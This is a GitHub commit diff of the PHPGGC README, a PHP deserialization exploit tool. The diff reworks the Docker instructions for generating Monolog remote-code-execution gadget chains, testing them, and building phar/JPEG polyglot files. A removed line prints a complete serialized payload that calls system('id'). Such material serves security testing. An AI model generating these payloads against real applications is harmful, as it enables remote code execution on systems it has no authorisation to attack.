Skip to content

Commit 21f9199

Browse files
committed
Merge branch 'girorme-feat/improve-docker-commands'
2 parents de3a613 + 353e3f1 commit 21f9199

File tree

1 file changed

+26
-4
lines changed

1 file changed

+26
-4
lines changed

README.md

+26-4
Original file line numberDiff line numberDiff line change
@@ -332,16 +332,38 @@ For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetc
332332

333333
# Docker
334334

335-
If you don't want to install PHP, you can use `docker build . -t 'phpggc'`.
335+
If you don't want to install PHP, you can build a docker image using:
336336

337-
To generate a gadget chain.
337+
```
338+
$ docker build . -t 'phpggc'
339+
```
340+
341+
You can then used the dockerized `phpggc`.
342+
343+
### To generate a gadget chain
338344

339345
```
340346
$ docker run phpggc Monolog/rce1 'system' 'id'
341-
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}
342347
```
343348

344-
To run `test-gc-compatibility.py` from docker.
349+
### To test a chain
350+
351+
Jump to your environment's folder and run the chain argument-free, with the `--test-payload` option:
352+
353+
```
354+
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
355+
```
356+
357+
### To generate phar / polyglot files
358+
359+
> Note: The command must be executed in the directory where the input image is located.
360+
361+
```
362+
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
363+
```
364+
365+
### To run `test-gc-compatibility.py`
366+
345367
```
346368
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
347369
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).

0 commit comments

Comments
 (0)